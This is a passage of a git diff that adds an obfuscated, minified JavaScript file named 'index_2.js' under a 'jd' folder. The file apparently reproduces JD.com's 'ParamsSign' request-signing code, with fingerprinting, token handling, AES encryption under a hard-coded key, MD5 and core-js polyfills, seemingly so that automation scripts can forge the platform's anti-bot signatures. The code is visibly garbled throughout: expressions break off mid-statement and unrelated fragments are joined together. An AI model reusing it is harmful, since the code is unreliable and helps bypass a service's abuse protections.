_0x947282(n[i(1068,1177)][i(968,815)](_0x500b1c))()||null,this[u(0,137,0,283)]&&this[u(0,-23,0,254)]){this[i(1507,1409)]=!0;var g={code:0};g[u(0,187,0,365)]=n[u(0,417,0,703)],this["_onRequest"+u(0,293,0,477)](g)}}},{key:n[r(0,0,538,691)],value:function(t,e){var i={BrcjJ:n[f(571,624,398,572)],qBMRf:n[s(1142,1144,1112,928)],ZxJDL:function(t,r,e){return n.DShdd(t,r,e)},qRUyE:function(t,r){return n[(e=-363,i=-221,u=-520,s(e- -1144,i-379,u-58,i))](t,r);var e,i,u},nCjjF:function(t,r){return n[(e=729,i=954,u=518,s(e- -52,i-102,u-231,i))](t,r);var e,i,u}},o="",c=Date[s(1103,1030,881,1101)](),a=n[s(810,750,528,655)](yt,c,n[s(697,798,500,609)]);function f(n,t,e,i){return r(0,0,t,i- -8)}function s(n,t,r,e){return u(0,0,n-1343,e)}var v=this[f(0,665,0,446)],h=this[s(701,0,0,874)+"ken"],l=this._fingerprint,x=this[s(750,0,0,815)];if(this[s(1172,0,0,988)])if(n[f(0,860,0,852)](n[s(982,0,0,875)],n[f(0,752,0,522)]))o=this[s(685,0,0,943)](v,l,a,x,tr)[f(0,518,0,804)]()||"";else for(var d=i[f(0,662,0,706)][f(0,587,0,423)]("|"),p=0;;){switch(d[p++]){case"0":var y=_0x412322[s(1176,0,0,967)+"en"](w,13,15);continue;case"1":var _=_0x335404[s(809,0,0,1068)],w=_0x259af9[s(584,0,0,290)];continue;case"2":_0x51c300[s(900,0,0,1016)](i[f(0,358,0,358)][f(0,109,0,365)](w));continue;case"3":var g=i[f(0,1038,0,850)](_0x169e4c,y,16);continue;case"4":var m={};m[s(723,0,0,818)]=b,_0x5e81e9[f(0,901,0,873)](_0x38f8a7[s(923,0,0,685)+s(621,0,0,659)],_0x255021[s(647,0,0,581)](w),m);continue;case"5":var b=i[s(735,0,0,899)](i[f(0,495,0,435)](g,60),60);continue;case"6":var C={};C[s(723,0,0,590)]=b,_0x171db3[s(1141,0,0,1080)](_0x3d3a92[s(896,0,0,1165)+f(0,695,0,722)],_0x2b6a8b[f(0,379,0,379)](_),C);continue;case"7":_0x3a5280[s(658,0,0,813)+s(1168,0,0,1385)](w,_);continue}break}else h?o=this.__genDefaultKey(h,l,a,x):(this[s(701,0,0,975)+"ken"]=n[f(0,336,0,450)](Br,this[f(0,358,0,410)+f(0,341,0,404)]),o=this[f(0,923,0,846)+"ltKey"](h,l,a,x));var z={};if(!o){if(n[f(0,842,0,839)](v,h)){var B={};B[s(1109,0,0,1028)]=wt[s(800,0,0,565)+f(0,556,0,617)+f(0,380,0,570)],B[f(0,799,0,528)]=n[s(823,0,0,963)],this[s(952,0,0,1142)](B)}else{var D={};D[s(1109,0,0,886)]=wt[f(0,466,0,514)+"Y"],D[f(0,417,0,528)]=n[f(0,1046,0,748)],this[f(0,688,0,684)](D)}return z}for(var A=n.dhPBF[s(691,0,0,476)]("|"),L=0;;){switch(A[L++]){case"0":return z;case"1":var K=1;continue;case"2":var q=t[f(0,322,0,614)]((function(n){return n[(t=1358,r=1253,s(t-386,0,0,r))];var t,r}))[s(666,0,0,550)](",");continue;case"3":var M=this[f(0,210,0,395)](o,t);continue;case"4":var S={};S[f(0,821,0,841)]=0,S[f(0,466,0,528)]=n.PgyCc,this[s(952,0,0,1248)](S);continue;case"5":var k={};k[s(620,0,0,440)]=q,k[f(0,543,0,674)]=K,k[f(0,1034,0,824)]=j,z=k;continue;case"6":var j=this["__genSignP"+f(0,729,0,810)](M,c,a,e);continue;case"7":var E={};E[f(0,412,0,704)]=o,E[f(0,558,0,320)]=M,E[f(0,597,0,352)]=q,E[s(942,0,0,1031)]=K,E[s(1092,0,0,1266)]=j,this[f(0,858,0,632)](n[f(0,351,0,342)](n[s(889,0,0,1087)],JSON[s(762,0,0,573)](E,null,2)));continue}break}}},{key:n[u(0,0,-491,-757)],value:function(){var t={XOCnL:function(t,r){return n.nHUGr(t,r)},FdFeI:n[i(150,337,181)],mxAEt:n[c(668,588)],KpVEL:n[i(355,595,588)],kHspG:n.cwJfF,eHuvq:n[i(417,591,635)],YVJCa:n[i(232,333,60)]};function i(n,t,r,e){return u(0,0,t-913,r)}var o=n.fpTWo(e,v[i(0,326,535)]((function n(){var r,e,i;function u(n,t,r,e){return c(n-529,e)}return v[u(828,0,0,973)]((function(n){function o(n,t,r,e){return u(r- -169,0,0,t)}function c(n,t,r,e){return u(t- -485,0,0,n)}for(;;)switch(n[c(408,255)]=n[o(0,682,813)]){case 0:return n[o(0,966,813)]=2,t.XOCnL(Ir,1);case 2:return(r=n[o(0,629,623)]).fp=this[c(861,696)+"nt"],e=JSON[o(0,503,657)](r,null,2),this[o(0,700,795)](t[o(0,684,504)][c(33,212)](e)),i=tr[c(737,473)][c(-51,171)](e,tr[o(0,880,892)].Utf8.parse(["wm",t[c(380,621)],"w_",t[o(0,544,750)],t[o(0,394,608)],"o("][c(21,245)]("")),{iv:tr[o(0,784,892)][c(360,528)][c(161,370)](["01","02","03","04","05","06","07","08"][c(382,245)]("")),mode:tr[c(922,672)].CBC,padding:tr[c(236,274)][c(379,373)]}),n.abrupt(t[c(1005,737)],i[o(0,502,768)].toString());case 8:case t[o(0,796,562)]:return n.stop()}}),n,this)})));function c(n,t,e,i){return r(0,0,t,n- -205)}return function(){function n(n,t,r,e){return i(0,r-461,n)}return o[n(939,0,807)](this,arguments)}}()},{key:n[r(0,0,177,427)],value:function(){function t(n,t,e,i){return r(0,0,e,n-617)}var i=n[u(585,446,468)](e,v[u(717,436,576)]((function t(r){var e,i,o,c={hYDBv:function(t,r){return n[(e=-616,i=-637,Xr(i- -977,e))](t,r);var e,i},ISmPP:n[a(-229,-34,-222)],eDxQb:n.nnARX,ygrYa:n[a(-612,-758,-644)],LGIVP:n[a(-487,-508,-481)]};function a(n,t,r,e){return u(r,t-295,n- -1070)}return v[a(-486,-682,-644)]((function(n){function t(n,t,r,e){return a(e-1575,t-166,r)}function u(n,t,r,e){return a(n-1714,t-166,r)}for(;;)switch(n.prev=n[u(1382,1233,1431)]){case 0:if(n[u(1140,1396,1170)]=0,e=this[t(0,1366,1181,1166)+t(0,1237,1287,1400)](r),!c.hYDBv(e,null)){n[u(1382,1185,1627)]=4;break}return n[u(1484,1770,1511)](c[u(1490,1417,1301)],r);case 4:return n[u(1382,1394,1637)]=6,this["__requestD"+t(0,1198,1066,1044)]();case 6:return n[t(0,1145,954,1243)]=8,this[u(1285,1477,1061)]();case 8:return i=n[t(0,1151,822,1053)],o=this[u(1519,1649,1262)](e,i),n[u(1484,1457,1455)](c.ISmPP,Object[u(1522,1673,1687)]({},r,o));case 13:n[t(0,1190,812,1001)]=13,n.t0=n[c[t(0,1117,733,990)]](0);var f={};return f[t(0,1530,1139,1434)]=wt[t(0,1553,1434,1273)+u(1116,1088,1181)],f[u(1260,1034,1301)]=c[u(1113,873,1077)],this[t(0,1003,1251,1277)](f),n[t(0,1091,1077,1345)](c[u(1490,1433,1461)],r);case 17:case c[u(1356,1436,1166)]:return n[u(1562,1858,1295)]()}}),t,this,[[0,13]])})));function u(n,t,e,i){return r(0,0,n,e-80)}return function(n){function r(n,r,e,i){return t(r- -1098,0,i)}return i[r(0,35,0,-11)](this,arguments)}}()}]),t}(),Zr={debug:!1,preRequest:!1};return Zr[Ur(-395,0,-294)]=8,Yr[Ur(-626,0,-923)]=Zr,Yr}(); diff --git a/jd/function/assets/index_2.js b/jd/function/assets/index_2.js new file mode 100644 index 00000000..b4d8bea3 --- /dev/null +++ b/jd/function/assets/index_2.js @@ -0,0 +1 @@ +var ParamsSign=function(){"use strict";var T="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function P(r){var e;return r.__esModule?r:(e=Object.defineProperty({},"__esModule",{value:!0}),Object.keys(r).forEach(function(t){var n=Object.getOwnPropertyDescriptor(r,t);Object.defineProperty(e,t,n.get?n:{enumerable:!0,get:function(){return r[t]}})}),e)}function q(t){return t&&t.Math==Math&&t}function t(t){try{return!!t()}catch(t){return!0}}function I(t){return F(R(t),8,-1)}function W(t){if("Function"===X(t))return Z(t)}var n=q("object"==typeof globalThis&&globalThis)||q("object"==typeof window&&window)||q("object"==typeof self&&self)||q("object"==typeof T&&T)||function(){return this}()||Function("return this")(),r=!t(function(){var t=function(){}.bind();return"function"!=typeof t||t.hasOwnProperty("prototype")}),N=Function.prototype,K=N.apply,H=N.call,N="object"==typeof Reflect&&Reflect.apply||(r?H.bind(K):function(){return H.apply(K,arguments)}),e=r,o=Function.prototype,G=o.call,o=e&&o.bind.bind(G,G),e=e?o:function(t){return function(){return G.apply(t,arguments)}},o=e,R=o({}.toString),F=o("".slice),X=I,Z=e,o="object"==typeof document&&document.all,o={all:o,IS_HTMLDDA:void 0===o&&void 0!==o},U=o.all,i=o.IS_HTMLDDA?function(t){return"function"==typeof t||t===U}:function(t){return"function"==typeof t},u={},Y=!t(function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}),V=Function.prototype.call,c=r?V.bind(V):function(){return V.apply(V,arguments)},J={},Q={}.propertyIsEnumerable,$=Object.getOwnPropertyDescriptor,tt=$&&!Q.call({1:2},1);J.f=tt?function(t){t=$(this,t);return!!t&&t.enumerable}:Q;function nt(t,n){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:n}}function rt(t){return null==t}function et(t){if(Bt(t))throw _t("Can't call method on "+t);return t}function ot(t){return Lt(jt(t))}function it(t){return Tt(t)?t:void 0}function ut(t,n){return arguments.length<2?it(Et[t])||it(kt[t]):Et[t]&&Et[t][n]||kt[t]&&kt[t][n]}function ct(t){try{return Xt(t)}catch(t){return"Object"}}function at(t){if(Zt(t))return t;throw Yt(Ut(t)+" is not a function")}function st(t,n){return t=t[n],Jt(t)?void 0:Vt(t)}function ft(t){return an(cn(t))}function lt(t){return"Symbol("+(void 0===t?"":t)+")_"+vn(++ln+hn,36)}function a(t){return pn(wn,t)||(wn[t]=dn&&pn(gn,t)?gn[t]:bn("Symbol."+t)),wn[t]}function ht(t){return t=function(t,n){if(!Cn(t)||Dn(t))return t;var r=zn(t,Bn);if(r){if(r=xn(r,t,n=void 0===n?"default":n),!Cn(r)||Dn(r))return r;throw Sn("Can't convert object to primitive value")}return An(t,n=void 0===n?"number":n)}(t,"string"),_n(t)?t:t+""}function vt(t){return jn?Ln.createElement(t):{}}function pt(t,n){return(t=Rn[Gn(t)])==Xn||t!=Fn&&(Kn(n)?Nn(n):!!n)}function yt(t,n){return Zn(t),void 0===n?t:Un?Yn(t,n):function(){return t.apply(n,arguments)}}function dt(t){if(Vn(t))return t;throw Qn(Jn(t)+" is not an object")}function gt(e){function o(t,n,r){if(this instanceof o){switch(arguments.length){case 0:return new e;case 1:return new e(t);case 2:return new e(t,n)}return new e(t,n,r)}return ar(e,this,arguments)}return o.prototype=e.prototype,o}function s(t,n){var r,e,o,i,u,c,a=t.target,s=t.global,f=t.stat,l=t.proto,h=s?cr:f?cr[a]:(cr[a]||{}).prototype,v=s?vr:vr[a]||yr(vr,a,{})[a],p=v.prototype;for(e in n)u=!(r=hr(s?e:a+(f?".":"#")+e,t.forced))&&h&&dr(h,e),i=v[e],u&&(c=t.dontCallGetSet?(c=lr(h,e))&&c.value:h[e]),o=u&&c?c:n[e],u&&typeof i==typeof o||(u=t.bind&&u?pr(o,cr):t.wrap&&u?gt(o):l&&fr(o)?sr(o):o,(t.sham||o&&o.sham||i&&i.sham)&&yr(u,"sham",!0),yr(v,e,u),l&&(dr(vr,i=a+"Prototype")||yr(vr,i,{}),yr(vr[i],e,o),t.real)&&p&&(r||!p[e])&&yr(p,e,o))}function mt(t){return mr[t]||(mr[t]=gr(t))}function wt(t){return(t=+t)!=t||0==t?0:Pr(t)}function bt(t,n){return(t=qr(t))<0?Ir(t+n,0):Wr(t,n)}function xt(t){return 0<(t=t.length)?Kr(Nr(t),9007199254740991):0}function Ct(c){return function(t,n,r){var e,o=Hr(t),i=Rr(o),u=Gr(r,i);if(c&&n!=n){for(;uo;)!Zr(e,r=n[o++])||~Yr(i,r)||Jr(i,r);return i}var tt=t,zt=I,At=Object,St=e("".split),Q=tt(function(){return!At("z").propertyIsEnumerable(0)})?function(t){return"String"==zt(t)?St(t,""):At(t)}:At,Bt=rt,_t=TypeError,Lt=Q,jt=et,Mt=i,Ot=o.all,tt=o.IS_HTMLDDA?function(t){return"object"==typeof t?null!==t:Mt(t)||t===Ot}:function(t){return"object"==typeof t?null!==t:Mt(t)},o={},Et=o,kt=n,Tt=i,Pt=e({}.isPrototypeOf),qt="undefined"!=typeof navigator&&String(navigator.userAgent)||"",It=qt,f=n.process,Wt=n.Deno,f=f&&f.versions||Wt&&Wt.version,Wt=f&&f.v8,f=Ft=!(Ft=Wt?0<(l=Wt.split("."))[0]&&l[0]<4?1:+(l[0]+l[1]):Ft)&&It&&(!(l=It.match(/Edge\/(\d+)/))||74<=l[1])&&(l=It.match(/Chrome\/(\d+)/))?+l[1]:Ft,Nt=f,Wt=t,It=!!Object.getOwnPropertySymbols&&!Wt(function(){var t=Symbol();return!String(t)||!(Object(t)instanceof Symbol)||!Symbol.sham&&Nt&&Nt<41}),l=It&&!Symbol.sham&&"symbol"==typeof Symbol.iterator,Kt=ut,Ht=i,Gt=Pt,Rt=Object,Ft=l?function(t){return"symbol"==typeof t}:function(t){var n=Kt("Symbol");return Ht(n)&&Gt(n.prototype,Rt(t))},Xt=String,Zt=i,Ut=ct,Yt=TypeError,Vt=at,Jt=rt,Qt=c,$t=i,tn=tt,nn=TypeError,Wt={exports:{}},rn=n,en=Object.defineProperty,on="__core-js_shared__",on=n[on]||function(n,r){try{en(rn,n,{value:r,configurable:!0,writable:!0})}catch(t){rn[n]=r}return r}(on,{}),un=on,cn=((Wt.exports=function(t,n){return un[t]||(un[t]=void 0!==n?n:{})})("versions",[]).push({version:"3.30.0",mode:"pure",copyright:"© 2014-2023 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.30.0/LICENSE",source:"https://github.com/zloirock/core-js"}),et),an=Object,sn=ft,fn=e({}.hasOwnProperty),h=Object.hasOwn||function(t,n){return fn(sn(t),n)},v=e,ln=0,hn=Math.random(),vn=v(1..toString),v=Wt.exports,pn=h,yn=lt,dn=It,gn=n.Symbol,wn=v("wks"),bn=l?gn.for||gn:gn&&gn.withoutSetter||yn,xn=c,Cn=tt,Dn=Ft,zn=st,An=function(t,n){var r,e;if("string"===n&&$t(r=t.toString)&&!tn(e=Qt(r,t)))return e;if($t(r=t.valueOf)&&!tn(e=Qt(r,t)))return e;if("string"!==n&&$t(r=t.toString)&&!tn(e=Qt(r,t)))return e;throw nn("Can't convert object to primitive value")},Sn=TypeError,Bn=a("toPrimitive"),_n=Ft,v=tt,Ln=n.document,jn=v(Ln)&&v(Ln.createElement),Mn=vt,l=!Y&&!t(function(){return 7!=Object.defineProperty(Mn("div"),"a",{get:function(){return 7}}).a}),On=c,En=J,kn=nt,Tn=ot,Pn=ht,qn=h,In=l,Wn=Object.getOwnPropertyDescriptor,Nn=(u.f=Y?Wn:function(t,n){if(t=Tn(t),n=Pn(n),In)try{return Wn(t,n)}catch(t){}if(qn(t,n))return kn(!On(En.f,t,n),t[n])},t),Kn=i,Hn=/#|\.prototype\./,Gn=pt.normalize=function(t){return String(t).replace(Hn,".").toLowerCase()},Rn=pt.data={},Fn=pt.NATIVE="N",Xn=pt.POLYFILL="P",yn=pt,Zn=at,Un=r,Yn=W(W.bind),v={},r=Y&&t(function(){return 42!=Object.defineProperty(function(){},"prototype",{value:42,writable:!1}).prototype}),Vn=tt,Jn=String,Qn=TypeError,$n=l,tr=dt,nr=ht,rr=TypeError,er=Object.defineProperty,or=Object.getOwnPropertyDescriptor,ir=(v.f=Y?r?function(t,n,r){var e;return tr(t),n=nr(n),tr(r),"function"==typeof t&&"prototype"===n&&"value"in r&&"writable"in r&&!r.writable&&(e=or(t,n))&&e.writable&&(t[n]=r.value,r={configurable:("configurable"in r?r:e).configurable,enumerable:("enumerable"in r?r:e).enumerable,writable:!1}),er(t,n,r)}:er:function(t,n,r){if(tr(t),n=nr(n),tr(r),$n)try{return er(t,n,r)}catch(t){}if("get"in r||"set"in r)throw rr("Accessors not supported");return"value"in r&&(t[n]=r.value),t},v),ur=nt,l=Y?function(t,n,r){return ir.f(t,n,ur(1,r))}:function(t,n,r){return t[n]=r,t},cr=n,ar=N,sr=W,fr=i,lr=u.f,hr=yn,vr=o,pr=yt,yr=l,dr=h,gr=lt,mr=(0,Wt.exports)("keys"),wr=!t(function(){function t(){}return t.prototype.constructor=null,Object.getPrototypeOf(new t)!==t.prototype}),br=h,xr=i,Cr=ft,p=wr,Dr=mt("IE_PROTO"),zr=Object,Ar=zr.prototype,p=p?zr.getPrototypeOf:function(t){var n,t=Cr(t);return br(t,Dr)?t[Dr]:(n=t.constructor,xr(n)&&t instanceof n?n.prototype:t instanceof zr?Ar:null)},Sr=e,Br=at,_r=i,Lr=String,jr=TypeError,Mr=dt,Or=Object.setPrototypeOf||("__proto__"in{}?function(){var r,e=!1,t={};try{(r=function(t,n,r){try{return Sr(Br(Object.getOwnPropertyDescriptor(t,n)[r]))}catch(t){}}(Object.prototype,"__proto__","set"))(t,[]),e=t instanceof Array}catch(r){}return function(t,n){return Mr(t),function(t){if("object"==typeof t||_r(t))return;throw jr("Can't set "+Lr(t)+" as a prototype")}(n),e?r(t,n):t.__proto__=n,t}}():void 0),Er={},kr=Math.ceil,Tr=Math.floor,Pr=Math.trunc||function(t){t=+t;return(0"+t+"<\/script>"},Te=function(){try{Be=new ActiveXObject("htmlfile")}catch(t){}var t,n;Te="undefined"==typeof document||document.domain&&Be?me(Be):((n=Oe("iframe")).style.display="none",Me.appendChild(n),n.src=String("javascript:"),(t=n.contentWindow.document).open(),t.write(ke("document.F=Object")),t.close(),t.F);for(var r=je.length;r--;)delete Te.prototype[je[r]];return Te()},Qr=(Qr[Ee]=!0,Object.create||function(t,n){var r;return null!==t?(ge.prototype=_e(t),r=new ge,ge.prototype=null,r[Ee]=t):r=Te(),void 0===n?r:Le.f(r,n)}),Pe=tt,qe=l,Ie=Error,We=e("".replace),Ne=String(Ie("zxcasd").stack),Ke=/\n\s*at [^:]*:[^\n]*/,He=Ke.test(Ne),Ge=nt,Ne=!t(function(){var t=Error("a");return!("stack"in t)||(Object.defineProperty(t,"stack",Ge(1,7)),7!==t.stack)}),Re=l,Fe=function(t,n){if(He&&"string"==typeof t&&!Ie.prepareStackTrace)for(;n--;)t=We(t,Ke,"");return t},Xe=Ne,Ze=Error.captureStackTrace,Ne={},Ue=Ne,Ye=a("iterator"),Ve=Array.prototype,Je={},Je=(Je[a("toStringTag")]="z","[object z]"===String(Je)),Qe=Je,$e=i,to=I,no=a("toStringTag"),ro=Object,eo="Arguments"==to(function(){return arguments}()),Qe=Qe?to:function(t){var n;return void 0===t?"Undefined":null===t?"Null":"string"==typeof(n=function(t,n){try{return t[n]}catch(t){}}(t=ro(t),no))?n:eo?to(t):"Object"==(n=to(t))&&$e(t.callee)?"Arguments":n},oo=Qe,io=st,uo=rt,co=Ne,ao=a("iterator"),so=c,fo=at,lo=dt,ho=ct,vo=be,po=TypeError,yo=c,go=dt,mo=st,wo=yt,bo=c,xo=dt,Co=ct,Do=we,zo=xt,Ao=Pt,So=xe,Bo=be,_o=Ce,Lo=TypeError,jo=De.prototype,Mo=Qe,Oo=String,Eo=Ae,d=s,ko=Pt,To=p,Po=Or,qo=Qr,Io=l,g=nt,Wo=ze,No=a("toStringTag"),Ko=Error,Ho=[].push;if(Po)Po(Se,Ko);else for(var Go=Se,Ro=Ko,Fo={name:!0},Xo=y(Ro),Zo=ae.f,Uo=ce.f,Yo=0;Yo=n.length?(t.target=void 0,Ui(void 0,!0)):Ui("keys"==r?e:"values"==r?n[e]:[e,n[e]],!1)},"values"),m.Arguments=m.Array,"undefined"!=typeof process&&"process"==I(process)),Qi=v,li=ut,hi=wi,pi=Y,Je=a("species"),$i=Pt,tu=TypeError,ae=i,w=on,nu=e(Function.toString),d=(ae(w.inspectSource)||(w.inspectSource=function(t){return nu(t)}),w.inspectSource),y=e,m=t,ru=i,eu=Qe,ou=d,iu=[],uu=ut("Reflect","construct"),cu=/^\s*(?:class|function)\b/,au=y(cu.exec),su=!cu.exec(bi);Ci.sham=!0;function fu(t,n){var r,t=xu(t).constructor;if(void 0===t||Cu(r=xu(t)[Du]))return n;if(mu(t=r))return t;throw bu(wu(t)+" is not a constructor")}function lu(t,n){if(t=n.length?Xc(void 0,!0):(n=Rc(n,r),t.index+=n.length,Xc(n,!1))}),o.Promise),Vc=n,Jc=Qe,Qc=l,$c=Ne,ta=a("toStringTag");for(tc in{CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0}){var na=Vc[tc],na=na&&na.prototype;na&&Jc(na)!==ta&&Qc(na,ta,tc),$c[tc]=$c.Array}var n0=Vu,ra=x,ea=Ku,oa=(s({target:"Promise",stat:!0,forced:!0},{try:function(t){var n=ra.f(this),t=ea(t);return(t.error?n.reject:n.resolve)(t.value),n.promise}}),n0);function ia(t,n,r,e,o,i,u){try{var c=t[i](u),a=c.value}catch(t){return r(t)}c.done?n(a):oa.resolve(a).then(e,o)}function ua(c){return function(){var t=this,u=arguments;return new oa(function(n,r){var e=c.apply(t,u);function o(t){ia(e,n,r,o,i,"next",t)}function i(t){ia(e,n,r,o,i,"throw",t)}o(void 0)})}}function ca(t,n){if(!(t instanceof n))throw new TypeError("Cannot call a class as a function")}function aa(t){if(9007199254740991c,e=m5(t)?t:x5(t),o=r?w5(arguments,c):[],t=r?function(){g5(e,this,o)}:e;return u?i(t,n):i(t)}:i}var t2=Y,pi=e,n2=c,n0=t,r2=he,e2=ne,o2=J,i2=ft,u2=Q,c2=Object.assign,a2=Object.defineProperty,s2=pi([].concat),x=!c2||n0(function(){var t,n,r,e;return t2&&1!==c2({b:1},c2(a2({},"a",{enumerable:!0,get:function(){a2(this,"b",{value:3,enumerable:!1})}}),{b:2})).b||(n={},e="abcdefghijklmnopqrst",(t={})[r=Symbol()]=7,e.split("").forEach(function(t){n[t]=t}),7!=c2({},t)[r])||r2(c2({},n)).join("")!=e})?function(t,n){for(var r=i2(t),e=arguments.length,o=1,i=e2.f,u=o2.f;o>>0||(I2(q2,t)?16:10))}:T2,W2=(s({global:!0,forced:parseInt!=wr},{parseInt:wr}),o.parseInt),N2=r.filter,ce=(s({target:"Array",proto:!0,forced:!la("filter")},{filter:function(t){return N2(this,t,1Q2(n)?1:-1})),r=V2(o),u=0;u=1e3*n.e?(z5(t),""):n.v},removeItem:z5=function(t){try{B5.removeItem(t),D5.removeItem(t)}catch(t){}}}),L5={getSync:function(t){var n,r=1formatString:输入不合法。");for(var i=n.length,u="",c=0;c>(-2*i&6))))r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var c=0,a=e.length;c>(-2*i&6))))r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(var c=0,a=e.length;c>>2]>>>24-i%4*8&255;n[e+i>>>2]|=u<<24-(e+i)%4*8}else for(i=0;i>>2]=r[i>>>2];return this.sigBytes+=o,this},clamp:function(){var t=this.words,n=this.sigBytes;t[n>>>2]&=4294967295<<32-n%4*8,t.length=s.ceil(n/4)},clone:function(){var t,n=o.clone.call(this);return n.words=Ff(t=this.words).call(t,0),n},random:function(t){for(var n=[],r=0;r>>2]>>>24-o%4*8&255;e.push((i>>>4).toString(16)),e.push((15&i).toString(16))}return e.join("")},parse:function(t){for(var n=t.length,r=[],e=0;e>>3]|=W2(t.substr(e,2),16)<<24-e%8*4;return new f.init(r,n/2)}},c=i.Latin1={stringify:function(t){for(var n=t.words,r=t.sigBytes,e=[],o=0;o>>2]>>>24-o%4*8&255;e.push(String.fromCharCode(i))}return e.join("")},parse:function(t){for(var n=t.length,r=[],e=0;e>>2]|=(255&t.charCodeAt(e))<<24-e%4*8;return new f.init(r,n)}},a=i.Utf8={stringify:function(t){try{return decodeURIComponent(escape(c.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return c.parse(unescape(encodeURIComponent(t)))}},l=n.BufferedBlockAlgorithm=o.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(t){var n;"string"==typeof t&&(t=a.parse(t)),A(n=this._data).call(n,t),this._nDataBytes+=t.sigBytes},_process:function(t){var n,r=this._data,e=r.words,o=r.sigBytes,i=this.blockSize,u=o/(4*i),c=(t?s.ceil(u):s.max((0|u)-this._minBufferSize,0))*i,t=s.min(4*c,o);if(c){for(var a=0;a>>2]>>>24-i%4*8&255)<<16|(n[i+1>>>2]>>>24-(i+1)%4*8&255)<<8|n[i+2>>>2]>>>24-(i+2)%4*8&255,c=0;c<4&&i+.75*c>>6*(3-c)&63));var a=e.charAt(64);if(a)for(;o.length%4;)o.push(a);return o.join("")},parse:function(t){var n=t.length,r=this._map;if(!(e=this._reverseMap))for(var e=this._reverseMap=[],o=0;o>>6-h%4*2,f[l>>>2]|=i<<24-l%4*8,l++);return y4.create(f,l)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},$u.enc.Base64),E4=p.exports.enc.Hex,k4=p.exports.enc.Utf8,T4=function(t){for(var a=Math,n=t,r=(o=n.lib).WordArray,e=o.Hasher,o=n.algo,S=[],i=0;i<64;i++)S[i]=4294967296*a.abs(a.sin(i+1))|0;function B(t,n,r,e,o,i,u){t=t+(n&r|~n&e)+o+u;return(t<>>32-i)+n}function _(t,n,r,e,o,i,u){t=t+(n&e|r&~e)+o+u;return(t<>>32-i)+n}function L(t,n,r,e,o,i,u){t=t+(n^r^e)+o+u;return(t<>>32-i)+n}function j(t,n,r,e,o,i,u){t=t+(r^(n|~e))+o+u;return(t<>>32-i)+n}return o=o.MD5=e.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,n){for(var r=0;r<16;r++){var e=n+r,o=t[e];t[e]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8)}var i=this._hash.words,u=t[n+0],c=t[n+1],a=t[n+2],s=t[n+3],f=t[n+4],l=t[n+5],h=t[n+6],v=t[n+7],p=t[n+8],y=t[n+9],d=t[n+10],g=t[n+11],m=t[n+12],w=t[n+13],b=t[n+14],x=t[n+15],C=B(i[0],A=i[1],z=i[2],D=i[3],u,7,S[0]),D=B(D,C,A,z,c,12,S[1]),z=B(z,D,C,A,a,17,S[2]),A=B(A,z,D,C,s,22,S[3]);C=B(C,A,z,D,f,7,S[4]),D=B(D,C,A,z,l,12,S[5]),z=B(z,D,C,A,h,17,S[6]),A=B(A,z,D,C,v,22,S[7]),C=B(C,A,z,D,p,7,S[8]),D=B(D,C,A,z,y,12,S[9]),z=B(z,D,C,A,d,17,S[10]),A=B(A,z,D,C,g,22,S[11]),C=B(C,A,z,D,m,7,S[12]),D=B(D,C,A,z,w,12,S[13]),z=B(z,D,C,A,b,17,S[14]),C=_(C,A=B(A,z,D,C,x,22,S[15]),z,D,c,5,S[16]),D=_(D,C,A,z,h,9,S[17]),z=_(z,D,C,A,g,14,S[18]),A=_(A,z,D,C,u,20,S[19]),C=_(C,A,z,D,l,5,S[20]),D=_(D,C,A,z,d,9,S[21]),z=_(z,D,C,A,x,14,S[22]),A=_(A,z,D,C,f,20,S[23]),C=_(C,A,z,D,y,5,S[24]),D=_(D,C,A,z,b,9,S[25]),z=_(z,D,C,A,s,14,S[26]),A=_(A,z,D,C,p,20,S[27]),C=_(C,A,z,D,w,5,S[28]),D=_(D,C,A,z,a,9,S[29]),z=_(z,D,C,A,v,14,S[30]),C=L(C,A=_(A,z,D,C,m,20,S[31]),z,D,l,4,S[32]),D=L(D,C,A,z,p,11,S[33]),z=L(z,D,C,A,g,16,S[34]),A=L(A,z,D,C,b,23,S[35]),C=L(C,A,z,D,c,4,S[36]),D=L(D,C,A,z,f,11,S[37]),z=L(z,D,C,A,v,16,S[38]),A=L(A,z,D,C,d,23,S[39]),C=L(C,A,z,D,w,4,S[40]),D=L(D,C,A,z,u,11,S[41]),z=L(z,D,C,A,s,16,S[42]),A=L(A,z,D,C,h,23,S[43]),C=L(C,A,z,D,y,4,S[44]),D=L(D,C,A,z,m,11,S[45]),z=L(z,D,C,A,x,16,S[46]),C=j(C,A=L(A,z,D,C,a,23,S[47]),z,D,u,6,S[48]),D=j(D,C,A,z,v,10,S[49]),z=j(z,D,C,A,b,15,S[50]),A=j(A,z,D,C,l,21,S[51]),C=j(C,A,z,D,m,6,S[52]),D=j(D,C,A,z,s,10,S[53]),z=j(z,D,C,A,d,15,S[54]),A=j(A,z,D,C,c,21,S[55]),C=j(C,A,z,D,p,6,S[56]),D=j(D,C,A,z,x,10,S[57]),z=j(z,D,C,A,h,15,S[58]),A=j(A,z,D,C,w,21,S[59]),C=j(C,A,z,D,f,6,S[60]),D=j(D,C,A,z,g,10,S[61]),z=j(z,D